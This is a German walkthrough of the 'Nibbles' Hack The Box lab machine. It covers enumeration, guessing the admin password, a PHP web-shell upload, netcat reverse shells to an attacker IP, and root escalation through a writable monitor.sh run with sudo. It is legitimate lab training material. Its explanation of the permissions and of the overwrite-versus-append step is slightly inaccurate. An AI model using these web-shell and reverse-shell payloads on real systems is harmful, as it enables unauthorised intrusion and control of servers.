HTB – Nibbles

Bei Nibbles handelt es sich um eine Maschine mit dem Schwierigkeitsgrad Einfach, welche anfang 2018 veröffentlicht wurde. Sie ist der Kategorie Web und File Misconfiguration zugeordnet.

Portscan

Im ersten Schritt führen wir einen Portscan mit Nmap durch um aktive Services und Dienste zu finden.

nmap -sV -sC -p- 10.129.146.25

Als Ergebnis haben wir folgende Ausgabe bekommen:

Aus dieser Ausgabe können wir folgende Informationen entnehmen:

  • Auf Port 22 ist der SSH Dienst aktiviert, dafür wird OpenSSH in Version 7.2p2 verwendet
  • Auf Port 80 läuft ein Webserver, Apache 2.4.18
  • Das Betriebssystem des Ziels ist ein Ubuntu

Webserver

Als nächstes wird der Webserver näher betrachtet. Dafür rufen wir die IP in Firefox auf. Als Ergebnis bekommen wir eine einfache Webseite mit dem Inhalt „Hello World“. Weitere Informationen verrät uns ein Kommentar aus dem Quelltext der Datei.

Navigieren wir zu dem in den Kommentaren erwähnten Pfad erscheint ein Blog welcher auf Nibbleblog basiert. Beim Aufruf aller Links wird nichts auffälliges festgestellt. Lediglich eine Fehlermeldung bei dem Link „Atom“ welcher auf /nibbleblog/feed.php verweist. In den Kommentaren von verlinkten Dateien befinden sich noch folgende Informationen:

/*! jQuery v2.1.0 | (c) 2005, 2014 jQuery Foundation, Inc. | jquery.org/license */
/* Rainbow v1.2 rainbowco.de | included languages: c, shell, java, d, coffeescript, generic, scheme, javascript, r, haskell, python, html, smalltalk, csharp, go, php, ruby, lua, css */

Uns ist nun bekannt das die Webseite folgende Komponenten verwendet:

jQuery v2.1.0
Rainbow v1.2
Nibbleblog v?

Wenn das Erscheinungsjahr der Maschine berücksichtigt wird finden wir keine brauchbaren Schwachstellen in jQuery und Rainbow, jedoch eine nützliche Schwachstelle für Nibbleblog, die CVE-2015-6967. Dabei handelt es sich um einen „unrestricted file upload“. Um diese Schwachstelle auszunutzen benötigen wir jedoch einen Account mit Adminrechten.

Enumeration

Da wir mit der möglichen Schwachstelle nicht weiter kommen suchen wir nach versteckten Dateien und Ordner. Dafür verwenden wir das Tool gobuster und die comman Liste von SecLists.

gobuster dir -u 10.129.146.25/nibbleblog -w ./comman.txt

Anhand der Statusnummer können wir erkennen auf welche Ordner bzw. Dateien Zugriff besteht.

  • 200 – OK, Webseite lässt sich normal aufrufen
  • 301 – Umleitung, es findet eine Umleitung statt aber die Seite ist aufrufbar
  • 403 – Permission denied, der Zugriff wurde uns verwehrt

Im nächsten Schritt werden alle interessanten Seiten aufgerufen:

  • /admin.php – Login zum Backend
  • /README – Bestätigt die Version 4.0.3 von Nibbleblog und somit die Schwachstelle CVE-2015-6967
  • /admin – Directory Listining
  • /content – Directory Listining
  • /languages – Directory Listining
  • /plugins – Directory Listining
  • /themes – Directory Listining

Bei dem Directory Listining werden alle Auffälligkeiten notiert:

  • unter /admin/ajax/ existiert uploader.php und uploader (copy).php
  • in /content/private/user.xml steht der Benutzername admin
  • in /content/private/config.xml ist
    • die E-Mail-Adressen admin@nibbles.com,
    • der Name der Website: Nibbles,
    • und der Slogan: Yum yum zu finden

Da wir keine weiteren Ansatzpunkte gefunden haben versuchen wir das Passwort mit den gefundenen Informationen zu erraten. Als Benutzername haben wir bereits admin bestätigen können. Das Passwort versuchen wir aus Nibbles, Yum yum und typischen Zeichen bzw. Zahlen zu generieren. Die erstellte Liste testen wir dann in der Anmeldemaske unter /admin.php.

Versuchte Logins:

  • admin | Nibbles
  • admin | Yum yum
  • admin | Yumyum
  • admin | nibbles

An dieser Stelle war der Login bereits erfolgreich und wir konnten das weitere Bruteforcen abbrechen.

Das Adminportal

Nun wo wir Zugriff auf das Adminportal besitzen gucken wir uns dieses an. Alternativ könnten wir auch die vorhandene Schwachstelle CVE-2015-6967 angucken.

Das Adminportal besteht aus den folgenden sechs Seiten:

MenüpunktInhalt
PublishAn dieser Stelle können neue Blogbeiträge erstellt werden
CommentsAuf dieser Seite können die Kommentare zu den Blogbeiträgen geprüft werden
ManageAuf dieser Seite können die Blogbeiträge und Kategorien verwaltet werden
SettingsIn den Settings können alle Einstellungen der Seite verändert werden
ThemesDient der Verwaltung der Themes/Designs
PluginsDient der Verwaltung der Plugins, Plugin My Image ermöglicht den Upload von Dateien

Bis auf das Uploadformular wurde nichts auffälliges gefunden. An dieser Stelle können wir den Upload einer ungewollten Datei testen. Dafür bereiten wir eine PHP Datei mit folgenden Inhalt vor:

<?php system('id'); ?>

Nachdem wir die Datei hochgeladen haben erscheinen ein paar Fehlermeldung. Jedoch scheint der Upload dennoch erfolgreich gewesen zu sein. Beim Durchsuchen der gefundenen Ordnern hatte ich unter /content/private/plugins die Ordner der jeweiligen Plugins gefunden und unter /content/private/plugins/my_image/ finden wir die grade hochgeladene Datei. Beim Aufruf wird der PHP Code wie gewünscht ausgeführt:

uid=1001(nibbler) gid=1001(nibbler) groups=1001(nibbler)

Dies können wir ausnutzen um eine reverse Shell zu hinterlegen.

Reverse Shell

Zuerst erstellen wir eine Datei mit folgendem Inhalt und speichern diese als PHP Datei:

<?php system ("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.16 9443 >/tmp/f"); ?>

Wenn diese Datei ausgeführt wird versucht der Server eine Verbindung zu 10.10.14.16 auf Port 9443 aufzubauen. Damit dies funktioniert starten wir auf unseren Computer einen listener mit Netcat:

nc -lvnp 9443

Nachdem Netcat auf dem PC des Angreifers gestartet und das Script hochgeladen ist kann dieses aufgerufen werden. Anschließend wird erfolgreich eine Verbindung zwischen Angreifer und Ziel hergestellt.

Wir können nun auf dem Server direkt über die Konsole Befehle ausführen. Damit wir mehr Funktionen in der Shell nutzen können werden wir im nächsten Schritt versuchen diese zu Upgraden. Da auf den meisten Linux Servern Python läuft prüfen wir ob dies installiert ist und welche Version genutzt wird.

Ob Python3 installiert ist kann mit folgendem Befehl geprüft werden:

which python3

Die dazugehörige Ausgabe:

Nachdem wir an der Ausgabe erkennen können das auf dem Server Python3 läuft versuchen wir die Shell mit folgenden Befehl zu Upgraden:

python3 -c 'import pty; pty.spawn("/bin/bash")'

Wie an der Ausgabe erkannt werden kann haben wir nun eine vollwertige Shell mit dem Benutzer nibbler auf dem Server Nibbles und befinden uns in dem Ordner /var/www/html/nibbleblog/content/private/plugins/my_image.

User Flag

Die User Flag liegt normalerweise im Verzeichnis des Benutzers.

cd /home/nibbler
ls

Und dies ist auch hier der Fall, die User Flag kann in der user.txt gefunden werden:

Privileg Escalation

Als nächstes gilt es die Root Flag zu erreichen. Dafür müssen wir uns root Rechte auf dem Server besorgen. Im selben Verzeichnis wie die User Flag liegt eine ZIP, personal.zip. Diese entpacken wir mit folgenden Befehl:

unzip personal.zip

Bei näherer Betrachtung stellt sich heraus das es sich um ein Monitor Skript handelt. Die monitor.sh im Verzeichnis /personal/stuff besitzt die Rechte 777 was bedeutet das der Inhalt des Skripts mit root Rechten ausgeführt wird. Eine Bearbeitung mit vim oder nano ist nicht möglich, also fügen wir den Befehl wie folgt am Ende der Datei hinzu:

echo "cat /root/root.txt" > monitor.sh

Nun können wir das Skript starten und bekommen die Root Flag ausgegeben.

sudo ./monitor.sh

Weitere Informationen

Um an die Flags dieser Maschine zu kommen gibt es noch andere Möglichkeiten. Zum einen kann die oben erwähnte Schwachstlle genutzt werden. Für Metasploit existiert in diesem Fall ein Exploit. Das Writeup des Users Ech0 beschreibt dieses Vorgehen (Link).

Des Weiteren kann mithilfe der Monitor.sh eine Reverse Shell implementiert werden, welche root Rechte besitzt. Dies ist besonders dann nützlich wenn auf der Maschine noch weitere Aufgaben zu erledigen sind. Dafür wird mit folgenden Befehl die monitor.sh bearbeitet:

echo 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.16 1443 >/tmp/f' | tee -a monitor.sh

Auf dem Computer des Angreifers starten wir anschließend einen Listener auf Port 1443:

nc -lvnp 1443

Wenn nun die monitor.sh ausgeführt wird, wird eine Verbindung zwischen Angreifer und Ziel hergestellt.

Schreibe einen Kommentar